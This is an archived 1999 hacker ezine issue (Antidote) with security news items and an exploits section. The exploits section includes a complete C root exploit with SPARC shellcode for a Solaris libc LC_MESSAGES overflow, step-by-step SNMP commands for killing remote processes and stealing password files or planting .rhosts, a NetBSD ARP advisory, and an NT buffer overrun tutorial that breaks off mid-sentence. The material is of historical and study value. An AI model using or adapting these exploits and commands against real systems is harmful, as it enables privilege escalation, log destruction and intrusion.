💾 Archived View for clemat.is › saccophore › library › ezines › textfiles › ezines › ANTIDOTE › anti… captured on 2022-01-08 at 14:56:57.
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
Volume 2 Issue 5
5/24/99
** **
***** * * ** *
* *** ** *** ** **
*** ** * ** **
* ** ******** ** **** ********
* ** *** **** ******** *** *** ** * *** * ******** ***
* ** **** **** * ** *** ********* * **** ** * ***
* ** ** **** ** ** ** **** ** ** ** * ***
* ** ** ** ** ** ** ** ** ** ** ** ***
********* ** ** ** ** ** ** ** ** ** ********
* ** ** ** ** ** ** ** ** ** ** *******
* ** ** ** ** ** ** ** ** ** ** **
***** ** ** ** ** ** ** ** ****** ** **** *
* **** ** * *** *** ** *** * ***** **** ** *******
* ** ** *** *** *** *** *****
*
** http://www.thepoison.org/antidote
------------------------------
In this issue of Antidote, we have over 525 subscribers and getting more everyday! The
only thing that we ask of you when you read Antidote, is that you go to:
www.thepoison.org/popup.html
and click on our sponsors. One issue of Antidote takes us about a week to put together
and going to our sponsor only takes you about 15 seconds (if that). So please go visit
our sponsor because it is the only thing we ask of you.
--=\\Contents\\=--
0.00 - Beginning
0.01 - What?
0.02 - FAQ
0.03 - Shouts
0.04 - Writing
1.00 - News
1.01 - Trojan Horse in Fujitsu
1.02 - NASA Vulnerable?
1.03 - Clinton Approves Cyberstrike
1.04 - Echelon
2.00 - Exploits (new & older)
2.01 - ex_lobc.c.txt
2.02 - Sun Solaris 2.6 SNMP
2.03 - NetBSD 1.3
2.04 - irix.wu-ftp.bof.txt
2.05 - winnt.rasman.bof.txt
3.00 - Misc
3.01 - Admin FAQ
3.02 - csscan.c.txt
3.03 - Secure Storage in Windows
------------------------------
<!-- 0.00 - Beginning //-->
0.01 --=\\What?\\=--
What is 'Antidote'? Well, we wouldn't say that Antidote is a hacking magazine, cause
that would be wrong. We don't claim to be a hacking magazine. All Antidote is, is
basically current news and happenings in the underground world. We aren't going to teach
you how to hack or anything, but we will supply you with the current information and
exploits. Mainly Antidote is just a magazine for people to read if they have some extra
time on there hands and are bored with nothing to do. If you want to read a magazine
that teaches you how to hack etc, then you might want to go to your local bookstore and
see if they carry '2600'.
------------------------------
0.02 --=\\FAQ\\=--
Here are a lot of questions that we seem to recieve a lot, or our "Frequently Asked
Questions". Please read this before e-mailing us with questions and if the question
isn't on here or doesn't make sense, then you can e-mail us with your question.
> What exactly is "Antidote"?
See section 0.01 for a complete description.
> I find Antidote to not be shot for the beginner or does not teach you the basics,
why is that?
Antidote is for everyone, all we are basically is a news ezine that comes out once
a week with the current news, exploits, flaws and even programming. All of the
articles that are in here are recieved second hand (sent to us) and we very rarely
edit anyone's articles.
> I just found Antidote issues on your webpage, is there anyway I can get them sent
to me through e-mail?
Yes, if you go to www.thepoison.org/antidote there should be a text box where you can
input your e-mail address. You will recieve a link to the current Antidote (where you
can view it).
> If I want to submit something, are there any 'rules'?
Please see section 0.03 for a complete description.
> If I submitted something, can I remain anonymous?
Yes. Just make sure that you specify what information about yourself you would like to
be published above your article (when sending it to us) and we will do what you say.
> I submitted something and I didn't see it in the current/last issue, why is that?
It could be that someone else wrote something similar to what you wrote and they sent
it to us first. If you sent us something and we didn't e-mail you back, then you might
want to send it again because we probably didn't get it (we respond to all e-mails no
matter what). We might use your article in future issues off Antidote.
> Can I submit something that I didn't "discover" or "write"?
Yes you can, we take information that is written by anyone regardless if you wrote it
or not.
Well thats it for our FAQ. If you have a question that is not on here or the question is
on here and you had trouble understanding it, then please feel free to e-mail
lordoak@thepoison.org and he will answer your question. This FAQ will probably be
updated every month.
------------------------------
0.03 --=\\Shouts\\=--
These are just some shout outs that we feel we owe to some people. Some are individuals
and Some are groups in general. If you are not on this list and you feel that For some
reason you should be, then please contact Lord Oak and he will post you on here and we
are sorry for the Misunderstanding. Well, here are the shout outs:
Lord Oak EazyMoney
Duece Astral
PBBSER oX1dation
Forlorn Retribution
0dnek www.thepoison.org
Like we said above, if we forgot you and/or you think you should be added, please e-mail
lordoak@thepoison.org and he will be sure to add you.
------------------------------
0.04 --=\\Writing\\=--
As many of you know, we are always open to articles/submittings. We will take almost
anything that has to do with computer security. This leaves you open for:
-Protecting the system (security/securing)
-Attacking the system (hacking, exploits, flaws, etc....)
-UNIX (really anything to do with it...)
-News that has to do with any of the above....
The only thing that we really don't take is webpage hacks, like e-mailing us and saying
"www.xxx.com" was hacked... But if you have an opinion about the hacks that is fine. If
you have any questions about what is "acceptable" and not, please feel free to e-mail
Lord Oak [lordoak@thepoison.org] with your question and he will answer it. Also, please
note that if we recieve two e-mails with the same topic/idea then we will use the one
that we recieved first. So it might be a good idea to e-mail one of us and ask us if
someone has written about/on this topic so that way you don't waste your time on writing
something that won't be published. An example of this would be:
If Joe sends me an e-mail with the topic being on hacking hotmail accounts on
thursday.
And then Bill sends us an e-mail on hacking hotmail accounts on sunday, we will
take Joe's article because he sent it in first.
But keep in mind, we might use your article for the next issue! If you have something
that you would like to submit to Antidote, please e-mail lordoak@thepoison.org or
duece@thepoison.org and one of us will review the article and put it in Antidote (if we
like it).
------------------------------
_________________________________
) ___ (
( //___/ / // ) ) // ) ) )
) /____ / // / / __ / / (
( / / // / / ) ) )
) / / ((___/ / ((___/ / (
( http://www.403-security.org )
) For the latest hacks and news (
(___________________________________)
<!-- 1.00 - News & Exploits //-->
1.01 --=\\Trojan Horse in Fujitsu\\=--
[www.asiabiztech.com]
An operator of InfoWeb, Fujitsu Ltd.'s Internet service, said an unknown party using the
service's name sent its subscribers a file disguised as vaccine software.
The file is actually a virus program that steals passwords.
G-Search Ltd., a Fujitsu affiliate and InfoWeb services operator, investigated the
incident and said that there were at least 68 customers who had received the problem
email, to which a virus believed to be a vaccine was attached, from its InfoWeb service
center as sender.
The email read, "As a virus, called TX-500, is rampant, users should execute a vaccine
program attached to this email to avoid being infected by the virus as soon as possible.
You also had better change your password to a new one for dial-up connection online
because your password may have been stolen."
The mail pointed to the home page of InfoWeb for users to change a password, and there
were authentic telephone and fax numbers of G-Search's InfoWeb service center on the
page.
The content of the mail turned out to be false, however.
The InfoWeb service center said it didn't send such an alert to its users. Further, an
attached file to this mail message was found to be a virus.
Network Associates Japan Inc., a vendor of virus-inspection software, studied the
attached file at the request of G-Search and found that it was indeed a virus software
capable of taking in password changes done by users online and transferring the new
password information to some destination address.
InfoWeb has already issued a warning that users watch out for a virus-tainted email that
may have come to them under the name of InfoWeb, through its Web site on the night of
May 9, the day the first damage report came in.
By the evening of May 10, when InfoWeb identified the email as a virus, it contacted all
of the 68 users either via email or by telephone, in case that they did not read the
warning email, and instructed those who already executed the program on ways to recover
from the damage it inflicted. There were about 10 people who already executed the virus-
laden "vaccine" program.
On the morning of May 11, on InfoWeb's home page, detailed information was posted about
the virus with password-stealing capabilities and how to deal with it upon receipt of
the mail.
Though the virus-laden email arrives, no damage will be caused without execution.
Moreover, Macintosh computers will not be affected by the virus because it is created
for the Windows operating system.
Network Associates succeeded in developing a program for checking the virus in question,
but not a vaccine program against the virus that can remove it from infected computers.
Once G-Search can identify who spread the virus by cashing in on InfoWeb, the company
plans to take legal action against the sender.
This time the incident appears to have given Internet users another lesson as harmful
email. A similar incident had emerged on May 4 mainly in the United States that a mail
message pretended to be sent by America Online Inc., apparently aimed at stealing credit
card numbers from AOL users.
http://www.nikkeibp.asiabiztech.com/wcs/leaf?CID=onair/asabt/news/70448
------------------------------
1.02 --=\\NASA Vulnerable?\\=--
[http://www.fcw.com]
Many of NASA's mission-critical information systems are vulnerable to attack, and almost
all the systems do not meet the agency's own requirements for risk assessment, according
to a General Accounting Office report released today.
In tests conducted by GAO at one of NASA's field centers, experts were able to penetrate
several mission-critical systems, including one responsible for calculating the posi-
tioning data for spacecraft.
"Having obtained access to these systems, we could have disrupted NASA's ongoing command
and control operations and stolen, modified or destroyed system software and data," the
report states.
GAO attributed much of the success of the attacks to NASA's lack of consistent informa-
tion security management and policies as suggested by GAO's 1998 Executive Guide. And
although NASA performed a special review of its information security program last May
that found many of the same problems identified by GAO, few of the recommended fixes
have been started, according to the report.
GAO recommended that NASA put in place an agencywide security program addressing five
areas: assessing risks and evaluating needs; implementing policies and controls;
monitoring compliance with policy and effectiveness of controls; providing computer
security training; and coordinating responses to security incidents.
http://www.fcw.com/pubs/fcw/1999/0517/web-nasa-5-20-99.html
------------------------------
1.03 --=\\Clinton Approves Cyberstrike\\=--
[www.wired.com]
President Clinton has approved a top-secret plan to destabilize Yugoslav leader Slobodan
Milosevic, using computer hackers to attack his foreign bank accounts and a sabotage
campaign to erode his public support, Newsweek magazine reported on Sunday.
The magazine, in its 31 May edition, quoted sources as saying Clinton issued an
intelligence "finding" allowing the Central Intelligence Agency to find "ways to get at
Milosevic."
The finding would permit the CIA to train ethnic Albanian rebels in Kosovo in the art of
sabotage, including such tricks as cutting telephone lines, fouling gasoline reserves,
and pilfering food supplies, the magazine reported.
The CIA also was instructed to wage a cyberwar against Milosevic, using computer hackers
to tap into the Yugoslav president's foreign bank accounts, the magazine said.
Newsweek said other NATO allies were not to be told about the secret war.
The Senate and House of Representatives intelligence committees were briefed on the
decision, Newsweek said. Some lawmakers criticized the finding, questioning the legality
and wisdom of launching a risky covert action, the magazine said.
"If they pull it off, it will be great," Newsweek quoted one government cyberwar expert
as saying. "If they screw it up, they are going to be in a world of trouble."
Senator Joseph Lieberman (D-Connecticut) said on Fox News Sunday he thought a cyberwar
against the Yugoslav leader was "totally acceptable."
"I wouldn't be surprised if we were using it here as part of an effort to bring the war
in Kosovo home to the people, the civilians in Belgrade, so that they pressure Milosevic
to break and make an agreement with NATO," Lieberman said.
http://www.wired.com/news/news/politics/story/19836.html
------------------------------
1.04 --=\\Echelon\\=--
[www.theage.com]
Australia has become the first country openly to admit that it takes part in a global
electronic surveillance system that intercepts the private and commercial international
communications of citizens and companies from its own and other countries. The
disclosure is made today in Channel 9's Sunday program by Martin Brady, director of the
Defence Signals Directorate in Canberra.
Mr Brady's decision to break ranks and officially admit the existence of a hither to
unacknowledged spying organisation called UKUSA is likely to irritate his British and
American counterparts, who have spent the past 50 years trying to prevent their own
citizens from learning anything about them or their business of ``signals intelligence''
- ``sigint'' for short.
In his letter to Channel 9 published today, Mr Brady states that the Defence Signals
Directorate (DSD) ``does cooperate with counterpart signals intelligence organisations
overseas under the UKUSA relationship".
In other statements which have now been made publicly available on the Internet
(www.dsd.gov.au), he also says that DSD's purpose ``is to support Australian Government
decision-makers and the Australian Defence Force with high-quality foreign signals
intelligence products and services. DSD (provides) important information that is not
available from open sources".
Together with the giant American National Security Agency (NSA) and its Canadian,
British, and New Zealand counterparts, DSD operates a network of giant, highly automated
tracking stations that illicitly pick up commercial satellite communications and examine
every fax, telex, e-mail, phone call, or computer data message that the satellites carry
The five signals intelligence agencies form the UKUSA pact. They are bound together by a
secret agreement signed in 1947 or 1948. Although its precise terms have never been
revealed, the UKUSA agreement provides for sharing facilities, staff, methods, tasks and
product between the participating governments.
Now, due to a fast-growing UKUSA system called Echelon, millions of messages are
automatically intercepted every hour, and checked according to criteria supplied by
intelligence agencies and governments in all five UKUSA countries. The intercepted
signals are passed through a computer system called the Dictionary, which checks each
new message or call against thousands of ``collection'' requirements. The Dictionaries
then send the messages into the spy agencies' equivalent of the Internet, making them
accessible all over the world.
Australia's main contribution to this system is an ultra-modern intelligence base at
Kojarena, near Geraldton in Western Australia. The station was built in the early 1990s.
At Kojarena, four satellite tracking dishes intercept Indian and Pacific Ocean
communications satellites. The exact target of each dish is concealed by placing them
inside golfball like ``radomes''.
About 80 per cent of the messages intercepted at Kojarena are sent automatically from
its Dictionary computer to the CIA or the NSA, without ever being seen or read in
Australia. Although it is under Australian command, the station - like its controversial
counterpart at Pine Gap - employs American and British staff in key posts.
Among the ``collection requirements" that the Kojarena Dictionary is told to look for
are North Korean economic, diplomatic and military messages and data, Japanese trade
ministry plans, and Pakistani developments in nuclear weapons technology and testing. In
return, Australia can ask for information collected at other Echelon stations to be sent
to Canberra.
A second and larger, although not so technologically sophisticated DSD satellite station
has been built at Shoal Bay, Northern Territory. At Shoal Bay, nine satellite tracking
dishes are locked into regional communications satellites, including systems covering
Indonesia and south-west Asia.
International and governmental concern about the UKUSA Echelon system has grown
dramatically since 1996, when New Zealand writer Nicky Hager revealed intimate details
of how it operated. New Zealand runs an Echelon satellite interception site at Waihopai,
near Blenheim, South Island. Codenamed ``Flintlock", the Waihopai station is half the
size of Kojarena and its sister NSA base at Yakima, Washington, which also covers
Pacific rim states. Waihopai's task is to monitor two Pacific communications satellites,
and intercept all communications from and between the South Pacific islands.
Like other Echelon stations, the Waihopai installation is protected by electrified
fences, intruder detectors and infra-red cameras. A year after publishing his book,
Hager and New Zealand TV reporter John Campbell mounted a daring raid on Waihopai,
carrying a TV camera and a stepladder. From open, high windows, they then filmed into
and inside its operations centre.
They were astonished to see that it operated completely automatically.
Although Australia's DSD does not use the term ``Echelon'', Government sources have
confirmed to Channel 9 that Hager's description of the system is correct, and that the
Australia's Dictionary computer at Kojarena works in the same way as the one in New
Zealand.
Until this year, the US Government has tried to ignore the row over Echelon by refusing
to admit its existence. The Australian disclosures today make this position untenable.
US intelligence writer Dr Jeff Richelson has also obtained documents under the US
Freedom of Information Act, showing that a US Navy-run satellite receiving station at
Sugar Grove, West Virginia, is an Echelon site, and that it collects intelligence from
civilian satellites.
The station, south-west of Washington, lies in a remote area of the Shenandoah Mountains
According to the released US documents, the station's job is ``to maintain and operate
an Echelon site''. Other Echelon stations are at Sabana Seca, Puerto Rico, Leitrim,
Canada and at Morwenstow and London in Britain.
Information is also fed into the Echelon system from taps on the Internet, and by means
of monitoring pods which are placed on undersea cables. Since 1971, the US has used
specially converted nuclear submarines to attach tapping pods to deep underwater cables
around the world.
The Australian Government's decision to be open about the UKUSA pact and the Echelon spy
system has been motivated partly by the need to respond to the growing international
concern about economic intelligence gathering, and partly by DSD's desire to reassure
Australians that its domestic spying activity is strictly limited and tightly
supervised.
According to DSD director Martin Brady, ``to ensure that (our) activities do not impinge
on the privacy of Australians, DSD operates under a detailed classified directive
approved by Cabinet and known as the Rules on Sigint and Australian Persons".
Compliance with this Cabinet directive is monitored by the inspector-general of security
and intelligence, Mr Bill Blick. He says that ``Australian citizens can complain to my
office about the actions of DSD. And if they do so then I have the right to conduct an
inquiry."
But the Cabinet has ruled that Australians' international calls, faxes or e-mails can be
monitored by NSA or DSD in specified circumstances. These include ``the commission of a
serious criminal offence; a threat to the life or safety of an Australian; or where an
Australian is acting as the agent of a foreign power". Mr Brady says that he must be
given specific approval in every case. But deliberate interception of domestic calls in
Australia should be left to the police or ASIO.
Mr Brady claims that other UKUSA nations have to follow Australia's lead, and not record
their communications unless Australia has decided that this is required. ``Both DSD and
its counterparts operate internal procedures to satisfy themselves that their national
interests and policies are respected by the others," he says.
So if NSA happens to intercept a message from an Australian citizen or company whom DSD
has decided to leave alone, they are supposed to strike out the name and insert
``Australian national'' or ``Australian corporation'' instead. Or they must destroy the
intercept.
That's the theory, but specialists differ. According to Mr Hager, junior members of
UKUSA just can't say ``no''. ``... When you're a junior ally like Australia or New
Zealand, you never refuse what they ask for.''
There are also worries about what allies might get up to with information that Australia
gives them. When Britain was trying to see through its highly controversial deal to sell
Hawk fighters and other arms to Indonesia, staff at the Office of National Assessments
feared that the British would pass DSD intelligence on East Timor to President Soeharto
in order to win the lucrative contract.
The Australian Government does not deny that DSD and its UKUSA partners are told to
collect economic and commercial intelligence. Australia, like the US, thinks this is
especially justified if other countries or their exporters are perceived to be behaving
unfairly. Britain recognises no restraint on economic intelligence gathering. Neither
does France.
According to the former Canadian agent Mike Frost, it would be ``nave" for Australians
to think that the Americans were not exploiting stations like Kojarena for economic
intelligence purposes. ``They have been doing it for years," he says. ``Now that the
Cold War is over, the focus is towards economic intelligence. Never ever over-exaggerate
the power that these organisations have to abuse a system such as Echelon. Don't think
it can't happen in Australia. It does.''
http://www.theage.com.au/daily/990523/news/news3.html
------------------------------
10001010100101110101010101001011101010101000
0 1
1 Y88b Y88 888 888 888 88e e88'Y88 0
1 Y88b Y8 888 888 888 888b d888 'Y 1
0 b Y88b Y 8888888 888 8888D C8888 1
0 8b Y88b 888 888 888 888P Y888 ,d 1
1 88b Y88b 888 888 888 88" "88,d88 0
1 1
1 http://www.nudehackers.com 0
0 0
01001010110101010001011010010111010100101011
<!-- 2.00 - Exploits (new & older) //-->
2.01 --=\\ex_lobc.c.txt\\=--
libc overflows when that handles LC_MESSAGES. So, If you set the long string to
LC_MESSAGES and call /bin/sh, the core file is dumped. This is serious problem.
The long string that contains the exploit code is set to LC_MESSAGES and called suid
program by execl(), local user can get the root privilege. The called suid program have
not to contain the overflow bugs. I confirmed this bug on Solaris2.6 and Solaris7.
Solaris2.4, 2.5 does not contain this bug.
The following program is an example to get root privilege. This is tested on Solaris2.6
for Sparc edition. This program calls "/bin/passwd", but you can also specify other suid
programs such as "/bin/su" or "/bin/rsh".
/*============================================================
ex_lobc.c Overflow Exploits( for Sparc Edition)
The Shadow Penguin Security
(http://base.oc.to:/skyscraper/byte/551)
Written by UNYUN (unewn4th@usa.net)
============================================================
*/
#define EV "LC_MESSAGES="
#define ADJUST 0
#define OFFSET 5392
#define STARTADR 400
#define NOP 0xa61cc013
#define RETS 600
char x[80000];
char exploit_code[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2b\x0b\xda\xdc\xae\x15\x63\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c"
"\x94\x10\x20\x10\x94\x22\xa0\x10"
"\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;
unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
int i;
unsigned int ret_adr;
main()
{
putenv("LANG=");
memset(x,'x',70000);
for (i = 0; i < ADJUST; i++) x[i]=0x40;
for (i = ADJUST; i < 1000; i+=4){
x[i+3]=NOP & 0xff;
x[i+2]=(NOP >> 8 ) &0xff;
x[i+1]=(NOP >> 16 ) &0xff;
x[i+0]=(NOP >> 24 ) &0xff;
}
for (i=0;i<strlen(exploit_code);i++) x[STARTADR+i+ADJUST]=exploit_code[i];
ret_adr=get_sp()-OFFSET;
printf("jumping address : %lx\n",ret_adr);
if ((ret_adr & 0xff) ==0 ){
ret_adr -=16;
printf("New jumping address : %lx\n",ret_adr);
}
for (i = ADJUST+RETS; i < RETS+600; i+=4){
x[i+3]=ret_adr & 0xff;
x[i+2]=(ret_adr >> 8 ) &0xff;
x[i+1]=(ret_adr >> 16 ) &0xff;
x[i+0]=(ret_adr >> 24 ) &0xff;
}
memcpy(x,EV,strlen(EV));
x[3000]=0;
putenv(x);
execl("/bin/passwd","passwd",(char *)0);
}
---
The Shadow Penguin Security : http://base.oc.to/skyscraper/byte/551
Webmaster : UNYUN (unewn4th@usa.net)
------------------------------
2.02 --=\\Sun Solaris 2.6 SNMP\\=--
Sun's snmpd implementation as supplied with Solaris 2.6 includes what used
to be shipped with Sun's Solstice Admin suite as it's snmpd, and associated
subagents. Sun's snmpd is actually pretty interesting, in that it supports
a number of features that really could be useful, if it wasn't for the fact
that snmp is so insecure. Sun allows for the use of subagents, similar, in
concept at least, to the AgentX initiatives which were tried with other
SNMPv1 implementations. This complexity seems to have lead to a few short
sighted design decisions, which can be leveraged to gain extensive information
on a machine, as well as used to create both denial of service situations
on the machine, as well as making it possible to leverage things to allow
root compromise on the local host. I believe it's also probably possible,
using either the dmi service, or some of the sunMasterAgent mib to gain
remote access. I have not succeeded in doing so yet, but someone with
better working knowledge of the Solstice Admin Suite (or who has a copy)
could probably easily leverage this to gain remote access.
1) Information gathering ability.
Besides the typical amounts of information available via SNMP, Sun was nice
enough to add a 'sunProccesses' group. From this table, it's trivial to
extract a list of processes running, users logged in, idle times, TTY's, etc.
Anything you could get out of a ps or netstat. This all lives in the
/var/snmp/mib/sun.mib MIB.
Sun's SNMP Master Agent MIB (/var/snmp/mib/snmpdx.mib) also has some
interesting pieces of information that might, on the surface, not appear to
be all that interesting, but can prove to be. This includes subagent
configuration paths, executable paths, watchdog values, listening ports for
subagents, and a whole slew of other stuff.
2) MIB manipulation
As shipped, Sun has defined 3 communities. They are 'public', 'private',
and 'all private'. The first two are defined in /etc/snmp/conf/snmpdx.acl...
the final one doesn't seem to exist in any configuration file. Public is
read only. Private has write access to (supposedly) only the system mib, and
all private' has write access to the whole MIB. Yes. The whole MIB. Set's
on the MIB-II that are going to work will always work via the SNMP port. Set's
to the sunMib usually work via 161 also.
But what if port 161 is blocked via the firewall, or via efs or ipfilter
on the host?
3) Agent Ports
Sun's subagent idea, while a good one, is less than secure. To manipulate
the MIB-II and the sunMib, they use a subagent called mibiisa, which runs on
some arbitrary high port, usually somewhere around 32780. By probing the
with snmpget's on these high ports, we can find the listening port for mibiisa.
I tend to do get's for something simple like system.sysDescr.0, which will
always exist, using the 'public' community. When a response is recieved,
we've hit the mibiisa, and can perform set's via this port with the
'all private' community.
Sun's snmpd tends to get in weird limbo states where it behaves badly. I
believe this has to do with the subagent communication mechanism, but I'm
not entirely sure. Sometimes it's necessary to use the high port to do a set,
sometimes, the low one. Sometimes you need to forge the source address as
being loopback, sometimes you don't. Why, I have no idea. Things also
sometimes take a few seconds to be reflected in the MIB. Processes, for
instance, don't always appear instantly in the MIB.
Example: Killing a process living on a remote host behind a crappy firewall.
a) snmpget -p 32780 -v 1 hostname public system.sysDescr.0
... nothing gets returned...
snmpget -p 32781 -v 1 hostname public system.sysDescr.0
... nothing gets returned...we keep trying ports until we get something back...
snmpget -p 32788 -v 1 hostname public system.sysDescr.0
system.sysDescr.0 = "Sun SNMP Agent, SPARCstation-5"
So we know mibiisa lives on port 32788.
b) snmpwalk -p 32788 -v 1 hostname public \
.1.3.6.1.4.enterprises.sun.sunMib.sunProcesses
which will spew out a listing of all the processes on the machine. Let's go
after syslogd.
snmpwalk -p 32788 -v 1 hostname public \
.1.3.6.1.4.enterprises.sun.sunMib.sunProcesses.sunProcessTable.psEntry.psProcessName \
| grep syslogd
This results in:
enterprises.sun.sunMib.sunProcesses.sunProcessTable.psEntry.psProcessName.150
= "syslogd"
c)
snmpset -p 32788 -v 1 hostname "all private" \
.1.3.6.1.4.enterprises.sun.sunMib.sunProcesses.sunProcessTable.psEntry.psProcessStatus.150 i 9
will send a sigkill to syslogd. And that's the end of logging on the machine.
4) Leveraging SNMP problems for local root access
This is actually pretty easy to accomplish. Since we can send any signal, we
can always get things to dump core's, and as long as it read in the shadow,
we can extract it. Something like ftp would work well. Ftp to the machine,
send a sigtrap (5) to it, and it should dump a core in /, mode 644. Httpd's
may also be a line of attack. We can also use the (now fixed) problem of
rpcbind following of symlinks to create a /.rhosts file. Also, since we can
send a SIGUSR1 to in.named, we can create a /usr/tmp/named.run symlink to
/.rhosts, send the signal via SNMP, and we're in. (please note, .rhosts is
just a convenient example. Any file can be attacked) NOTE: this is also a
named bug, in my opinion, and should be addressed. All the tmp file creation
should check for existing symlinks, etc.
5) Leveraging SNMP problems for remote root access
This is still a somewhat unknown quantity. The snmpdx.mib allows for the
addition of subagents, configurations, and states. With better knowledge of
the way the Solstice agent portions interact with each other, it seems likely
that this could be leveraged for remote access. Something along the lines of
depositing a conformant application in a writeable directory (say, an incoming
directory in ftp). Causing remote mounts may also be a possibility, or using
an automounted directory.
6) Other questionable things
The lack of authentication used with DMI is almost as disturbing as SNMP. Any
user can remotely install or remove configuration files and subagents using the
standard tools provided with 2.6. (dmi_cmd) Again, something like a world
writeable ftp dir makes this easy to do. Again, a lack of working DMI
knowledge makes it difficult to say just what is possible.
The in.named problems mentioned above are problems seperate from the SNMP
issues. If someone creates a link, they need only wait for someone to kill
-USR1 the process to obtain root access. The file in question is named.run is
created in /var/tmp.
Jeremy Rauch <jrauch@infonexus.com>
------------------------------
2.03 --=\\NetBSD 1.3\\=--
Topic: Arp Table vulnerablility
Version: NetBSD 1.3
Severity: Denial of service or traffic hijacking from local network
cable is possible
Abstract
========
The implementation of ARP packet reception is vulnerable two attacks:
- on multihomed hosts, ARP packets from cable A can overwrite
ARP entries for cable B.
- for all hosts, ARP packets can overwrite ARP entries marked
as static.
Technical Details
=================
ARP is a protocol used to dynamically obtain IPv4 to Link level address
translation, used for Ethernet, FDDI, Token ring, and ARCnet cables,
described in RFC 826.
The first vulnerability is specific to hosts with more than one ARP capable
network attached. The address information of incoming ARP packets is not
checked to ensure that it corresponds to one of the addresses of the
interface on which the packet arrived. Thus, it would be able to suppress
or redirect traffic from the attacked host to a different destination.
The second vulnerability is related to so-called "static" arp entries.
The original NetBSD ARP implementation (as that of most other vendors)
allows the creation of "static" or "permanent" ARP entries. They are
typically used for two reasons:
- as a security measure, to disallow the redirection of traffic
addressed to priviledged hosts by rogue hosts on the cable to
themselves or elsewhere,
- as a cheap routing protocol ("proxy ARP"), mostly when
connecting single hosts through point to point links. To the
outside, they occur as if they where on the (e.g.) Ethernet, but
traffic destined for them is redirected by the ARP mechanism to
the routing host.
The 2nd usage doesn't create specific denial of service possibilities as
the ARP protocol is insecure in itself.
However, if static ARP entries are used to prevent D.O.S. attacks, they need
to be protected from overwriting.
Solutions and Workarounds
=========================
NetBSD-1.4, and NetBSD-1.4_BETA after 1999-05-05, are fixed.
A patch is available for NetBSD 1.3.3 to fix this problem. You may
find this patch on the NetBSD ftp server:
ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/19990505-arp
NetBSD-current since 19990506 is not vulnerable. Users of
NetBSD-current should upgrade to a source tree later than 19990506.
Thanks To
=========
Both vulnerabilities were reported by Olaf "Rhialto" Seibert in NetBSD
PR 7489 and PR 7490. A fix was provided by Zdenek Salvet in PR 7497,
and integrated into NetBSD by Ignatios Souvatzis.
Revision History
================
1999/05/21 - initial version
More Information
================
Information about NetBSD and NetBSD security can be found at
http://www.NetBSD.ORG/ and http://www.NetBSD.ORG/Security/.
Copyright 1999, The NetBSD Foundation, Inc. All Rights Reserved.
$NetBSD: NetBSD-SA1999-010.txt,v 1.3 1999/05/21 12:47:00 mrg Exp $
------------------------------
2.04 --=\\irix.wu-ftp.bof.txt\\=--
Date: Thu, 20 May 1999 15:00:00 -0700
From: Lance James <lance@DIGIGAMI.COM>
To: BUGTRAQ@netspace.org
Subject: IRIX ftpd overflow
Regarding the wu-ftpd buffer overflow, it seems vulnerable in IRIX as well.
While testing it, it seemed to have core dumped and dumped the passwd file
in there as well, but it's only core dumped once. Any feedback on IRIX info
would be helpful.
Lance James
Network Security Administrator
Alchemy Communications, Inc.
lance@alchemy.net
P.S. Tested on Irix 6.3
------------------------------
2.05 --=\\winnt.rasman.bof.txt\\=--
Introduction
This document is for educational purposes only and explains what a
buffer overrun is and shows how they can be exploited on the Windows
NT 4 operating system using RASMAN.EXE as a case study. We will take a
look at Windows NT processes, virtual address space, the dynamics of a
buffer overrun and cover certain key issues such as explaining what a
stack is and what the ESP, EBP and EIP CPU registers are and do. With
these covered we'll look into the buffer overrun found in RASMAN.EXE.
This document may be freely copied and distributed only in its
entirety and if credit is given.
Cheers, David Litchfield
What is a buffer overrun?
A buffer overrun is when a program allocates a block of memory of a
certain length and then tries to stuff too much data into the buffer,
with the extra overflowing and overwritting possibly critical
information crucial to the normal execution of the program. Consider
the following source:
#include <stdio.h>
int main ( )
{
char name[31];
printf("Please type your name: ");
gets(name);
printf("Hello, %s", name);
return 0;
}
When this source is compiled and turned into a program and the program
is run it will assign a block of memory 32 bytes long to hold the name
string. Under normal operation someone would type in their name, for
instance "David", and the program would then print to the screen
"Hello, David". David is 5 letters long, with each letter taking up a
single byte. The end of a string, though, is denoted by a thing called
a null terminator - which is basically a byte with a value of zero. So
we need to add a null terminator to the end of the string making a
total length of 6 bytes. It is clear that 6 bytes will fit into the 32
bytes set aside to store the name string. If however, instead of
entering "David", we entered
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
that is 40 capital As, when the program reads in our input and places
it in our buffer it overflows. 40 will definitely not fit into 32.
It so happens that if we enter 40 As we completely overwrite the
contents of a special CPU register known as the Instruction Pointer or
EIP - the E stands for Extended by the way. A quick explanation of a
register - a computer's processor has small memory storage units
called registers. Access to the values held in these registers is very
quick. These registers have special names and can hold memory
addresses and variables. The EIP is one of these registers and holds
the memory address of the next instruction to execute. What do I mean
by instruction? A program contains a list of instructions for the
processor to carry out in order for the program to do its job, much
like a recipe contains instructions for a cook to carry out in order
to make a cake. These instructions are known as operation codes or
opcodes for short. So when a program is running and the processor is
executing one of the program's instructions the EIP holds the memory
address where the next instruction to be executed can be found. After
the current instruction has been executed the processor goes to that
memory address and pulls in the instruction found there and then
increments the EIP and the executes that instruction. This process of
pulling the opcode from the memory address pointed to by the EIP, then
incrementing the EIP then executing that instruction continues until
the program exits.
Going back to our code, the fact that we have overwritten the EIP
means that we can effectively tell the CPU to go to a memory address
of our choosing and pull down the instruction found there and execute
that. Because we are filling the buffer with As we overwrite the EIP
with 0x41414141 - 41 is the hex value for a capital A. The processor
then goes to address 0x41414141 and tries to read in the instruction
found at that address. If there's no instruction there we get a thing
known as an Access Violation. Most people will know of this as a
message popping up saying something like "The Instruction at
'0x41414141' referenced memory at '0x41414141'. The memory could not
be read." If we had filled our buffer with Bs we would overwrite the
EIP with 0x42424242 essentially telling the processor to go that that
memory address to get the next instruction and more than likely we'd
get the same Access Violation.
Exploiting a buffer overrun.
As you'll see later on, being able to overwrite the EIP is vital to
exploiting a buffer overrun. When you exploit a buffer overrun you
basically get the processor to execute instructions or code of your
